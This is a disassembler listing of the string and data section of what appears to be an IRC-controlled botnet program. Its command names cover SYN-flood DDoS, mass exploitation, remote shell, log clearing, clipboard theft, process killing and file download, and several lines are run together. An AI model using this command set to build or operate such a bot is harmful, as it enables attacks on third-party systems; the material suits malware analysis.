aServer_rd_on	db 'server.rd.on',0     ; DATA XREF: seg000:0040AD70o
		align 4
aServer_redir_0	db 'server.redirect.on',0 ; DATA XREF: seg000:0040AD59o
		align 4
aD1		db 'd1',0               ; DATA XREF: seg000:0040AD42o
		align 4
aDonad_frwww	db 'donad.frwww',0      ; DATA XREF: seg000:0040AD2Bo
aSy1		db 'sy1',0              ; DATA XREF: seg000:0040AD14o
aDdos_synflood	db 'ddos.synflood',0    ; DATA XREF: seg000:0040ACFDo
		align 4
aClone_start	db 'clone.start',0      ; DATA XREF: seg000:0040ACE6o
aClone_make	db 'clone.make',0       ; DATA XREF: seg000:0040ACCFo
		align 4
aBox_mv		db 'box.mv',0           ; DATA XREF: seg000:0040ACA6o
		align 4
aBox_rename	db 'box.rename',0       ; DATA XREF: seg000:0040AC8Fo
		align 4
aBox_e		db 'box.e',0            ; DATA XREF: seg000:0040AC78o
		align 10h
aBox_execute	db 'box.execute',0      ; DATA XREF: seg000:0040AC61o
aDownload_010	db 'download.010`',0    ; DATA XREF: seg000:0040AC4Ao
		align 4
aDownload_up010	db 'download.up010',0   ; DATA XREF: seg000:0040AC33o
		align 4
aEnz_de		db 'enz.de',0           ; DATA XREF: seg000:0040AC1Co
		align 4
aEnz_delay	db 'enz.delay',0        ; DATA XREF: seg000:0040AC05o
		align 10h
aEnz_rp		db 'enz.rp',0           ; DATA XREF: seg000:0040ABEEo
		align 4
aEnz_repeat	db 'enz.repeat',0       ; DATA XREF: seg000:0040ABD7o
		align 4
aClone_p	db 'clone.p',0          ; DATA XREF: seg000:0040ABC0o
aClone_part	db 'clone.part',0       ; DATA XREF: seg000:0040ABA9o
		align 4
aClone_j	db 'clone.j',0          ; DATA XREF: seg000:0040AB92o
aClone_join	db 'clone.join',0       ; DATA XREF: seg000:0040AB7Bo
		align 4
aClone_ni	db 'clone.ni',0         ; DATA XREF: seg000:0040AB64o
		align 4
aClone_nick	db 'clone.nick',0       ; DATA XREF: seg000:0040AB4Do
		align 4
aClone_m	db 'clone.m',0          ; DATA XREF: seg000:0040AB36o
aClone_mode	db 'clone.mode',0       ; DATA XREF: seg000:0040AB1Fo
		align 4
aClone_ra	db 'clone.ra',0         ; DATA XREF: seg000:0040AB08o
		align 4
aClone_raw	db 'clone.raw',0        ; DATA XREF: seg000:0040AAF1o
		align 10h
aEnz_m		db 'enz.m',0            ; DATA XREF: seg000:0040AADAo
		align 4
aEnz_mode	db 'enz.mode',0         ; DATA XREF: seg000:0040AAC3o
		align 4
aEnz_cy		db 'enz.cy',0           ; DATA XREF: seg000:0040AAACo
		align 4
aEnz_cycle	db 'enz.cycle',0        ; DATA XREF: seg000:0040AA95o
		align 4
aEnz_ac		db 'enz.ac',0           ; DATA XREF: seg000:0040AA7Eo
		align 10h
aEnz_action	db 'enz.action',0       ; DATA XREF: seg000:0040AA67o
		align 4
aEnz_pm		db 'enz.pm',0           ; DATA XREF: seg000:0040AA50o
		align 4
aEnz_privmsg	db 'enz.privmsg',0      ; DATA XREF: seg000:0040AA39o
aEnz_aa		db 'enz.aa',0           ; DATA XREF: seg000:0040AA22o
		align 4
aEnz_addalias	db 'enz.addalias',0     ; DATA XREF: seg000:0040AA0Bo
		align 4
aEnz_gh		db 'enz.gh',0           ; DATA XREF: seg000:0040A9E2o
		align 10h
aEnz_gethost	db 'enz.gethost',0      ; DATA XREF: seg000:0040A9CBo
dword_42B50C	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: seg000:loc_40A9BEo
		dd 2029206Ch, 2BBBB02h
aCommandUnknown	db '  Command unknown.',0
		align 4
dword_42B53C	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: seg000:loc_40A9B4o
		dd 2029206Ch, 2BBBB02h
aNoMessageSpeci	db '  No message specified.',0
dword_42B570	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: seg000:loc_40A966o
		dd 2029206Ch, 2BBBB02h
aUserListFailed	db '  User list failed.',0
dword_42B5A0	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: seg000:0040A95Co
		dd 2029206Ch, 2BBBB02h
aUserListComple	db '  User list completed.',0
		align 4
aUser		db 'user',0             ; DATA XREF: seg000:0040A8CFo
		align 4
dword_42B5DC	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: seg000:loc_40A8C4o
		dd 2029206Ch, 2BBBB02h
aShareListFaile	db '  Share list failed.',0
		align 10h
dword_42B610	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: seg000:0040A8BAo
		dd 2029206Ch, 2BBBB02h
aShareListCompl	db '  Share list completed.',0
aShare		db 'share',0            ; DATA XREF: seg000:0040A852o
		align 4
aDelete		db 'delete',0           ; DATA XREF: seg000:0040A837o
		align 4
aPause		db 'pause',0            ; DATA XREF: seg000:0040A804o
		align 4
aStop		db 'stop',0             ; DATA XREF: seg000:0040A7ECo
		align 4
dword_42B664	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: seg000:loc_40A7E1o
		dd 2029206Ch, 2BBBB02h
aServiceListFai	db '  Service list failed.',0
		align 4
dword_42B698	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: seg000:0040A7D7o
		dd 2029206Ch, 2BBBB02h
aServiceListCom	db '  Service list completed.',0
		align 10h
dword_42B6D0	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: seg000:0040A753o
		dd 2029206Ch, 2BBBB02h
aFailedToLoadAd	db '  Failed to load advapi32.dll or netapi32.dll.',0
		align 4
aBox_net	db 'box.net',0          ; DATA XREF: seg000:0040A72Fo
aBox_rf		db 'box.rf',0           ; DATA XREF: seg000:0040A718o
		align 4
aBox_readfile	db 'box.readfile',0     ; DATA XREF: seg000:0040A701o
		align 4
aBox_cm		db 'box.cm',0           ; DATA XREF: seg000:0040A6EAo
		align 4
aBox_cmd	db 'box.cmd',0          ; DATA XREF: seg000:0040A6D3o
aMirc_cmd	db 'mirc.cmd',0         ; DATA XREF: seg000:0040A6A5o
					; seg000:0040A6BCo
		align 4
aBox_fl		db 'box.fl',0           ; DATA XREF: seg000:0040A68Eo
		align 10h
aBox_filelist	db 'box.filelist',0     ; DATA XREF: seg000:0040A677o
		align 10h
aBox_del	db 'box.del',0          ; DATA XREF: seg000:0040A660o
aBox_delete	db 'box.delete',0       ; DATA XREF: seg000:0040A649o
		align 4
aBox_pkid	db 'box.pkid',0         ; DATA XREF: seg000:0040A632o
		align 10h
aBox_prockillid	db 'box.prockillid',0   ; DATA XREF: seg000:0040A61Bo
		align 10h
aBox_kpn	db 'box.kpn',0          ; DATA XREF: seg000:0040A604o
aBox_killprocna	db 'box.killprocname',0 ; DATA XREF: seg000:0040A5EDo
		align 4
aEnz_dn		db 'enz.dn',0           ; DATA XREF: seg000:0040A5D6o
		align 4
aEnz_dns	db 'enz.dns',0          ; DATA XREF: seg000:0040A5BFo
aEnz_se		db 'enz.se',0           ; DATA XREF: seg000:0040A5A8o
		align 4
aEnz_setserve	db 'enz.setserve',0     ; DATA XREF: seg000:0040A591o
		align 4
aBox_o		db 'box.o',0            ; DATA XREF: seg000:0040A57Ao
		align 4
aBox_open	db 'box.open',0         ; DATA XREF: seg000:0040A563o
		align 4
aEnz_pr		db 'enz.pr',0           ; DATA XREF: seg000:0040A54Co
		align 10h
aEnz_prefix	db 'enz.prefix',0       ; DATA XREF: seg000:0040A535o
		align 4
aClone_rn	db 'clone.rn',0         ; DATA XREF: seg000:0040A51Eo
		align 4
aClone_rndnick	db 'clone.rndnick',0    ; DATA XREF: seg000:0040A507o
		align 4
aClone_q	db 'clone.q',0          ; DATA XREF: seg000:0040A4F0o
aClone_quit	db 'clone.quit',0       ; DATA XREF: seg000:0040A4D9o
		align 4
aThreads_k	db 'threads.k',0        ; DATA XREF: seg000:0040A4C2o
		align 4
aThreads_kill	db 'threads.kill',0     ; DATA XREF: seg000:0040A4ABo
		align 4
aEnz_r		db 'enz.r',0            ; DATA XREF: seg000:0040A494o
		align 10h
aEnz_raw	db 'enz.raw',0          ; DATA XREF: seg000:0040A47Do
aEnz_pt		db 'enz.pt',0           ; DATA XREF: seg000:0040A466o
		align 10h
aEnz_part	db 'enz.part',0         ; DATA XREF: seg000:0040A44Fo
		align 4
aEnz_j		db 'enz.j',0            ; DATA XREF: seg000:0040A438o
		align 4
aEnz_join	db 'enz.join',0         ; DATA XREF: seg000:0040A421o
		align 10h
aEnz_n		db 'enz.n',0            ; DATA XREF: seg000:0040A40Ao
		align 4
aEnz_nick	db 'enz.nick',0         ; DATA XREF: seg000:0040A3F3o
		align 4
aVuln_massexplo	db 'vuln.massexploit',0 ; DATA XREF: seg000:0040A3B8o
		align 4
aServer_tf_on	db 'server.tf.on',0     ; DATA XREF: seg000:0040A3A3o
		align 4
aServer_tftp_on	db 'server.tftp.on',0   ; DATA XREF: seg000:0040A38Eo
		align 4
aServer_web_on	db 'server.web.on',0    ; DATA XREF: seg000:0040A379o
		align 4
aServer_httpd_o	db 'server.httpd.on',0  ; DATA XREF: seg000:0040A364o
aVuln_cip	db 'vuln.cip',0         ; DATA XREF: seg000:0040A34Fo
		align 4
aVuln_currentip	db 'vuln.currentip',0   ; DATA XREF: seg000:0040A33Ao
		align 4
aUtil_fdns	db 'util.fdns',0        ; DATA XREF: seg000:0040A325o
		align 10h
aUtil_flushdns	db 'util.flushdns',0    ; DATA XREF: seg000:0040A310o
		align 10h
aUtil_farp	db 'util.farp',0        ; DATA XREF: seg000:0040A2FBo
		align 4
aUtil_flusharp	db 'util.flusharp',0    ; DATA XREF: seg000:0040A2E6o
		align 4
aBox_gc		db 'box.gc',0           ; DATA XREF: seg000:0040A2D1o
		align 4
aBox_getclip	db 'box.getclip',0      ; DATA XREF: seg000:0040A2BCo
dword_42B960	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040A2ABo
		dd 2029206Ch, 2BBBB02h
aLoginListCompl	db '  Login list complete.',0
		align 4
aD_S		db '%d. %s',0           ; DATA XREF: seg000:0040A277o
		align 4
aEmpty		db '<Empty>',0          ; DATA XREF: seg000:0040A26Ao
aLoginList	db '-[Login List]-',0   ; DATA XREF: seg000:0040A248o
		align 4
aEnz_who	db 'enz.who',0          ; DATA XREF: seg000:0040A22Fo
aCmd		db '[CMD]',0            ; DATA XREF: seg000:0040A224o
		align 4
aRemoteShell	db 'Remote shell',0     ; DATA XREF: seg000:0040A21Fo
		align 4
aBox_ocmd_off	db 'box.ocmd.off',0     ; DATA XREF: seg000:0040A206o
		align 4
aBox_ocmd	db 'box.ocmd',0         ; DATA XREF: seg000:0040A1F1o
		align 10h
aBox_opencmd	db 'box.opencmd',0      ; DATA XREF: seg000:0040A1DCo
aBox_dll	db 'box.dll',0          ; DATA XREF: seg000:0040A1C7o
aBox_testdlls	db 'box.testdlls',0     ; DATA XREF: seg000:0040A1B2o
		align 4
aBox_drv	db 'box.drv',0          ; DATA XREF: seg000:0040A19Do
aBox_driveinfo	db 'box.driveinfo',0    ; DATA XREF: seg000:0040A188o
		align 4
aBox_up		db 'box.up',0           ; DATA XREF: seg000:0040A173o
		align 4
aBox_uptime	db 'box.uptime',0       ; DATA XREF: seg000:0040A15Eo
		align 10h
aBox_ps		db 'box.ps',0           ; DATA XREF: seg000:0040A149o
		align 4
aBox_procs	db 'box.procs',0        ; DATA XREF: seg000:0040A134o
		align 4
aEnz_010	db 'enz.010`',0         ; DATA XREF: seg000:0040A11Fo
		align 10h
aEnz_be010ne	db 'enz.be010ne',0      ; DATA XREF: seg000:0040A10Ao
aSi		db 'si',0               ; DATA XREF: seg000:0040A0F5o
		align 10h
aBox_sysinfo	db 'box.sysinfo',0      ; DATA XREF: seg000:0040A0E0o
aBox_ni		db 'box.ni',0           ; DATA XREF: seg000:0040A0CBo
		align 4
aBox_netinfo	db 'box.netinfo',0      ; DATA XREF: seg000:0040A0B6o
aUtil_clg	db 'util.clg',0         ; DATA XREF: seg000:0040A0A1o
		align 4
aUtil_clearlog	db 'util.clearlog',0    ; DATA XREF: seg000:0040A08Co
		align 4
aEnz_lg		db 'enz.lg',0           ; DATA XREF: seg000:0040A077o
		align 4
aEnz_log	db 'enz.log',0          ; DATA XREF: seg000:0040A062o
aEnz_al		db 'enz.al',0           ; DATA XREF: seg000:0040A04Do
		align 4
aEnz_aliases	db 'enz.aliases',0      ; DATA XREF: seg000:0040A038o
aThreads_l	db 'threads.l',0        ; DATA XREF: seg000:0040A023o
		align 4
aThreads_list	db 'threads.list',0     ; DATA XREF: seg000:0040A00Eo
		align 4
dword_42BAEC	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:00409FDAo
		dd 2029206Ch, 2BBBB02h
aFailedToReboot	db '  Failed to reboot system.',0
		align 4
dword_42BB24	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:00409FD3o
		dd 2029206Ch, 2BBBB02h
aRebootingSyste	db '  Rebooting system.',0
aBox_rebewt	db 'box.rebewt',0       ; DATA XREF: seg000:00409FBCo
		align 10h
aEnz_i		db 'enz.i',0            ; DATA XREF: seg000:00409FA7o
		align 4
aEnz_id		db 'enz.id',0           ; DATA XREF: seg000:00409F92o
		align 10h
aEnz_s		db 'enz.s',0            ; DATA XREF: seg000:00409F7Do
		align 4
aEnz_status	db 'enz.status',0       ; DATA XREF: seg000:00409F68o
		align 4
aEnz_t3rm1	db 'enz.t3rm1',0        ; DATA XREF: seg000:00409F53o
		align 10h
aEnz_t3rm1nate	db 'enz.t3rm1nate',0    ; DATA XREF: seg000:00409F3Eo
		align 10h
aEnz_et3	db 'enz.et3',0          ; DATA XREF: seg000:00409F29o
aEnz_endt3rm	db 'enz.endt3rm',0      ; DATA XREF: seg000:00409F14o
aEnz_rh4	db 'enz.rh4',0          ; DATA XREF: seg000:00409EFFo
aEnz_reh4sh	db 'enz.reh4sh',0       ; DATA XREF: seg000:00409EEAo
		align 4
aVuln_st	db 'vuln.st',0          ; DATA XREF: seg000:00409ED5o
aVuln_stats	db 'vuln.stats',0       ; DATA XREF: seg000:00409EC0o
		align 4
aExploitation	db 'Exploitation',0     ; DATA XREF: seg000:00409EB5o
		align 4
aScan		db 'Scan',0             ; DATA XREF: seg000:00409EB0o
		align 4
aVuln_stop	db 'vuln.stop',0        ; DATA XREF: seg000:00409E97o
		align 10h
dword_42BC00	dd 65027302h, 1F727563h, 2E2E1F65h, 0aSecure_0	db 'Secure',0           ; DATA XREF: seg000:00409E87o
		align 4
aLockdown_stop	db 'lockdown.stop',0    ; DATA XREF: seg000:00409E6Eo
		align 4
dword_42BC28	dd 6C026302h, 1F656E6Fh, 2E2E1F73h, 0aClone		db 'Clone',0            ; DATA XREF: seg000:00409E5Eo
		align 10h
aClone_off	db 'clone.off',0        ; DATA XREF: seg000:00409E45o
		align 4
aBox_ps_off	db 'box.ps.off',0       ; DATA XREF: seg000:00409E30o
		align 4
aBox_procs_off	db 'box.procs.off',0    ; DATA XREF: seg000:00409E1Bo
		align 4
aBox_ff_off	db 'box.ff.off',0       ; DATA XREF: seg000:00409E06o
		align 4
aBox_findfile_o	db 'box.findfile.off',0 ; DATA XREF: seg000:00409DF1o
		align 4
dword_42BC88	dd 66027402h, 641F7074h, 2E2E1FhaServer_tftp_of	db 'server.tftp.off',0  ; DATA XREF: seg000:00409DC8o
dword_42BCA4	dd 69027002h, 1F671F6Eh, 2E2Ehdword_42BCB0	dd 676E6950h, 6F6C6620h, 646Fhdword_42BCBC	dd 736F6464h, 6E69702Eh, 666F2E67h, 66hdword_42BCCC	dd 64027502h, 2E1F701Fh, 2Ehdword_42BCD8	dd 20504455h, 6F6F6C66h, 64hdword_42BCE4	dd 736F6464h, 7064752Eh, 66666F2Eh, 0dword_42BCF4	dd 79027302h, 2E1F6E1Fh, 2Ehdword_42BD00	dd 206E7953h, 6F6F6C66h, 64hdword_42BD0C	dd 736F6464h, 6E79732Eh, 66666F2Eh, 0dword_42BD1C	dd 64026402h, 1F731F6Fh, 2E2Ehdword_42BD28	dd 536F4444h, 6F6C6620h, 646Fhdword_42BD34	dd 736F6464h, 66666F2Eh, 0dword_42BD40	dd 65027202h, 65726964h, 1F741F63h, 2E2Ehdword_42BD50	dd 20504354h, 69646572h, 74636572h, 0aServer_redirec	db 'server.redirect.off',0 ; DATA XREF: seg000:00409CFBo
dword_42BD74	dd 6F026C02h, 2E1F671Fh, 2Ehdword_42BD80	dd 20676F4Ch, 7473696Ch, 0dword_42BD8C	dd 2E676F6Ch, 66666Fhdword_42BD94	dd 74026802h, 641F7074h, 2E2E1Fhdword_42BDA0	dd 76726573h, 772E7265h, 6F2E6265h, 6666hdword_42BDB0	dd 6C027202h, 6E69676Fh, 2E1F641Fh, 2EhaServer		db 'Server',0           ; DATA XREF: seg000:00409C99o
					; seg000:00409CC2o ...
		align 4
aServer_rlogin_	db 'server.rlogin.off',0 ; DATA XREF: seg000:00409C80o
		align 4
aLd_off		db 'ld.off',0           ; DATA XREF: seg000:00409C6Bo
		align 4
aLockdown_off	db 'lockdown.off',0     ; DATA XREF: seg000:00409C56o
		align 4
aLd_on		db 'ld.on',0            ; DATA XREF: seg000:00409C41o
		align 4
aLockdown_on	db 'lockdown.on',0      ; DATA XREF: seg000:00409C2Co
aEnz_ver	db 'enz.ver',0          ; DATA XREF: seg000:00409C17o
aEnz_version	db 'enz.version',0      ; DATA XREF: seg000:00409C02o
aEnz_lo		db 'enz.lo',0           ; DATA XREF: seg000:00409BEDo
		align 4
aEnz_logout	db 'enz.logout',0       ; DATA XREF: seg000:00409BD8o
		align 10h
aEnz_d		db 'enz.d',0            ; DATA XREF: seg000:00409BC3o
		align 4
aEnz_endsess	db 'enz.endsess',0      ; DATA XREF: seg000:00409BAEo
aEnz_rn		db 'enz.rn',0           ; DATA XREF: seg000:00409B99o
		align 4
aEnz_rndnick	db 'enz.rndnick',0      ; DATA XREF: seg000:00409B81o
a63		db '63',0               ; DATA XREF: seg000:00409A5Ao
		align 4
asc_42BE5C:				; DATA XREF: seg000:00409A32o
		unicode	0, <)>,0
aChr		db '$chr(',0            ; DATA XREF: seg000:004099F5o
		align 4
aServer_2	db '$server',0          ; DATA XREF: seg000:004099EAo
aRndnick	db '$rndnick',0         ; DATA XREF: seg000:004099D9o
		align 4
aChan		db '$chan',0            ; DATA XREF: seg000:004099BDo
		align 4
aUser_2		db '$user',0            ; DATA XREF: seg000:004099ACo
		align 4
aMe_0		db '$me',0              ; DATA XREF: seg000:0040999Ao
aD_0		db '$%d',0              ; DATA XREF: seg000:0040992Co
aD_1		db '$%d-',0             ; DATA XREF: seg000:00409871o
		align 4
dword_42BE9C	dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
					; DATA XREF: seg000:00409806o
		dd 0A0Dh
dword_42BEB4	dd 4E495001h, 47haSHasJustVersio	db '%s has just versioned me.',0 ; DATA XREF: seg000:00409797o
		align 4
dword_42BED8	dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
					; DATA XREF: seg000:0040977Do
		dd 0D017325h, 0Ah
dword_42BEF4	dd 52455601h, 4E4F4953h, 1dword_42BF00	dd 6968h	aNewshit0	db 'newshit0',0         ; DATA XREF: seg000:00409607o
		align 10h
a332		db '332',0              ; DATA XREF: seg000:00409578o
					; seg000:0040963Eo ...
aNotice		db 'NOTICE',0           ; DATA XREF: seg000:00409556o
					; sub_40DFB2+Fo
		align 4
aPrivmsg	db 'PRIVMSG',0          ; DATA XREF: seg000:0040954Ao
					; sub_40DFB2+16o
dword_42BF24	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:004094F9o
		dd 2029206Ch, 2BBBB02h
aUserSLoggedOut	db '  User: %s logged out.',0
		align 4
dword_42BF58	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:004094D9o
		dd 2029206Ch, 2BBBB02h
aJoinedChanne_0	db '  Joined channel: %s.',0
		align 4
a353		db '353',0              ; DATA XREF: seg000:004094A2o
aPart		db 'PART',0             ; DATA XREF: seg000:00409454o
					; seg000:00409516o
		align 4
aSS_1		db ':%s%s',0            ; DATA XREF: seg000:0040942Co
		align 10h
aNick		db 'NICK',0             ; DATA XREF: seg000:0040930Eo
		align 4
aNoticeSS	db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: seg000:004092B1o
					; seg000:0040953Ao
dword_42BFB8	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:00409298o
					; seg000:0040DCAEo ...
		dd 2029206Ch, 2BBBB02h
aUserSLoggedO_0	db '  User %s logged out.',0
		align 4
aKick		db 'KICK',0             ; DATA XREF: seg000:00409227o
		align 4
aNickS		db 'NICK %s',0Dh,0Ah,0  ; DATA XREF: seg000:004091D0o
					; seg000:0040CE6Bo ...
		align 10h
a433		db '433',0              ; DATA XREF: seg000:004091A8o
a302		db '302',0              ; DATA XREF: seg000:0040916Do
aJoinSS		db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: seg000:00409127o
					; seg000:004092FBo ...
		align 4
aPongS		db 'PONG %s',0Dh,0Ah,0  ; DATA XREF: seg000:00409106o
		align 4
aPing		db 'PING',0             ; DATA XREF: seg000:004090ECo
		align 4
asc_42C02C	db ' :',0               ; DATA XREF: seg000:00408FC9o
					; seg000:loc_409810o
		align 10h
		dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0
		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
		dd 3000005h, 10h, 18h, 1, 3 dup(0)
		dd 975201B0h, 11D059CAh, 0A000D5A8h, 51800DC9h,	0
		dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
dword_42C0C0	dd 25207325h, 253A2073h, 0A0D73h, 0off_42C0D0	dd offset aAdd		; DATA XREF: sub_40E04D+6Dr
					; sub_40E431+50r ...
					; "Add"
off_42C0D4	dd offset aAdded	; DATA XREF: sub_40E04D+2Dr
					; sub_40E431+82r ...
					; "Added"
dword_42C0D8	dd 0				dd offset aDelete_0	; "Delete"
		dd offset aDeleted	; "Deleted"
		align 8
		dd offset aList_0	; "List"
		dd offset aListed	; "Listed"
		dd 0
		dd offset aStart_0	; "Start"
		dd offset aStarted	; "Started"
		align 10h
		dd offset aStop_0	; "Stop"
		dd offset aStopped_0	; "Stopped"
		dd 1, 42C144h, 42C13Ch,	2, 42C130h, 42C124h, 3,	746E6F43h
		dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0
aPaused		db 'Paused',0
		align 4
aPause_0	db 'Pause',0
		align 4
aStopped_0	db 'Stopped',0          ; DATA XREF: seg002:0042C104o
aStop_0		db 'Stop',0             ; DATA XREF: seg002:0042C100o
		align 4
aStarted	db 'Started',0          ; DATA XREF: seg002:0042C0F8o
aStart_0	db 'Start',0            ; DATA XREF: seg002:0042C0F4o
		align 4
aListed		db 'Listed',0           ; DATA XREF: seg002:0042C0ECo
		align 4
aList_0		db 'List',0             ; DATA XREF: seg002:0042C0E8o
		align 4
aDeleted	db 'Deleted',0          ; DATA XREF: seg002:0042C0E0o
aDelete_0	db 'Delete',0           ; DATA XREF: seg002:0042C0DCo
		align 4
aAdded		db 'Added',0            ; DATA XREF: seg002:off_42C0D4o
		align 4
aAdd		db 'Add',0              ; DATA XREF: seg002:off_42C0D0o
dword_42C198	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_40E04D+74o
		dd 2029206Ch, 2BBBB02h
aSNoServiceSpec	db '  %s: No service specified.',0
dword_42C1D0	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_40E04D+55o
		dd 2029206Ch, 2BBBB02h
aErrorWithServi	db '  Error with service: ',27h,'%s',27h,'. %s',0
		align 4
dword_42C20C	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_40E04D+38o
		dd 2029206Ch, 2BBBB02h
aSServiceS_	db '  %s service: ',27h,'%s',27h,'.',0
aAnUnknownError	db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_40E176+12Co
		align 10h
aTheSystemIsShu	db 'The system is shutting down.',0 ; DATA XREF: sub_40E176:loc_40E28Eo
		align 10h
aTheServiceHasN	db 'The service has not been started.',0 ; DATA XREF: sub_40E176:loc_40E287o
		align 4
aTheRequested_1	db 'The requested control code cannot be sent to the service because '
					; DATA XREF: sub_40E176:loc_40E280o
		db 'the state of the service.',0
		align 10h
aTheServiceHa_0	db 'The service has been marked for deletion.',0
					; DATA XREF: sub_40E176:loc_40E279o
		align 4
aTheServiceCoul	db 'The service could not be logged on. The account does not have the'
					; DATA XREF: sub_40E176:loc_40E272o
		db ' correct access rights.',0
		align 4
aTheSpecified_0	db 'The specified service does not exist.',0
					; DATA XREF: sub_40E176:loc_40E26Bo
		align 10h
aTheServiceHasB	db 'The service has been disabled.',0 ; DATA XREF: sub_40E176:loc_40E264o
		align 10h
aTheServiceDe_0	db 'The service depends on another service that has failed to start.',0
					; DATA XREF: sub_40E176:loc_40E25Do
		align 4
aTheServiceDepe	db 'The service depends on a service that does not exist or has been '
					; DATA XREF: sub_40E176:loc_40E256o
		db 'marked for deletion.',0
		align 4
aTheSpecifiedDa	db 'The specified database does not exist.',0
					; DATA XREF: sub_40E176:loc_40E24Fo
		align 4
aAnInstanceOfTh	db 'An instance of the service is already running.',0
					; DATA XREF: sub_40E176:loc_40E224o
		align 4
aTheRequested_0	db 'The requested control code is not valid, or it is unacceptable to'
					; DATA XREF: sub_40E176:loc_40E21Do
		db ' the service.',0
		align 4
aTheProcessForT	db 'The process for the service was started, but it did not call Star'
					; DATA XREF: sub_40E176:loc_40E216o
		db 'tServiceCtrlDispatcher.',0
		align 10h
aAThreadCouldNo	db 'A thread could not be created for the service.',0
					; DATA XREF: sub_40E176:loc_40E20Fo
		align 10h
aTheDatabaseIsL	db 'The database is locked.',0 ; DATA XREF: sub_40E176+8Fo
aTheServiceCann	db 'The service cannot be stopped because other running services are '
					; DATA XREF: sub_40E176:loc_40E1E4o
		db 'dependent on it.',0
		align 4
aTheServiceBina	db 'The service binary file could not be found.',0
					; DATA XREF: sub_40E176:loc_40E1DAo
aTheHandleDoesN	db 'The handle does not have the required access right.',0
					; DATA XREF: sub_40E176:loc_40E1D0o
aTheHandleIsInv	db 'The handle is invalid.',0 ; DATA XREF: sub_40E176:loc_40E1C6o
		align 4
aTheRequestedCo	db 'The requested control code is undefined.',0
					; DATA XREF: sub_40E176:loc_40E1BCo
		align 10h
aTheSpecifiedSe	db 'The specified service name is invalid.',0 ; DATA XREF: sub_40E176+3Co
		align 4
aSSS		db '%s: %s (%s)',0      ; DATA XREF: sub_40E2F4+EBo
aStopped	db '    Stopped',0      ; DATA XREF: sub_40E2F4:loc_40E3C0o
aStarting	db '   Starting',0      ; DATA XREF: sub_40E2F4:loc_40E3B9o
aStoping	db '    Stoping',0      ; DATA XREF: sub_40E2F4:loc_40E3B2o
aRunning_0	db '    Running',0      ; DATA XREF: sub_40E2F4:loc_40E3ABo
aContinuing	db ' Continuing',0      ; DATA XREF: sub_40E2F4:loc_40E3A4o
aPausing	db '    Pausing',0      ; DATA XREF: sub_40E2F4:loc_40E39Do
aPaused_0	db '     Paused',0      ; DATA XREF: sub_40E2F4:loc_40E396o
aUnknown_1	db '    Unknown',0      ; DATA XREF: sub_40E2F4+9Bo
aTheFollowingWi	db 'The following Windows services are registered:',0
					; DATA XREF: sub_40E2F4+25o
		align 4
dword_42C774	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_40E431+ABo
		dd 2029206Ch, 2BBBB02h
aSNoShareSpecif	db '  %s: No share specified.',0
		align 4
dword_42C7AC	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_40E431+89o
		dd 2029206Ch, 2BBBB02h
aSShareS_	db '  %s share: ',27h,'%s',27h,'.',0
		align 4
dword_42C7DC	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_40E431+57o
		dd 2029206Ch, 2BBBB02h
aSErrorWithShar	db '  %s: Error with share: ',27h,'%s',27h,'. %s',0
		align 4
a14s24s6u4s	db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_40E626+D0o
		align 4
aNo		db 'No',0               ; DATA XREF: sub_40E626+BCo
		align 4
aYes		db 'Yes',0              ; DATA XREF: sub_40E626+B5o
dword_42C83C	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_40E626+76o
		dd 2029206Ch, 2BBBB02h
aShareListError	db '  Share list error: %s <%ld>',0
		align 4
aShareNameResou	db 'Share name:    Resource:                Uses:  Desc:',0
					; DATA XREF: sub_40E626+26o
		align 10h
dword_42C8B0	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_40E747+B6o
		dd 2029206Ch, 2BBBB02h
aSNoUsernameSpe	db '  %s: No username specified.',0
		align 4
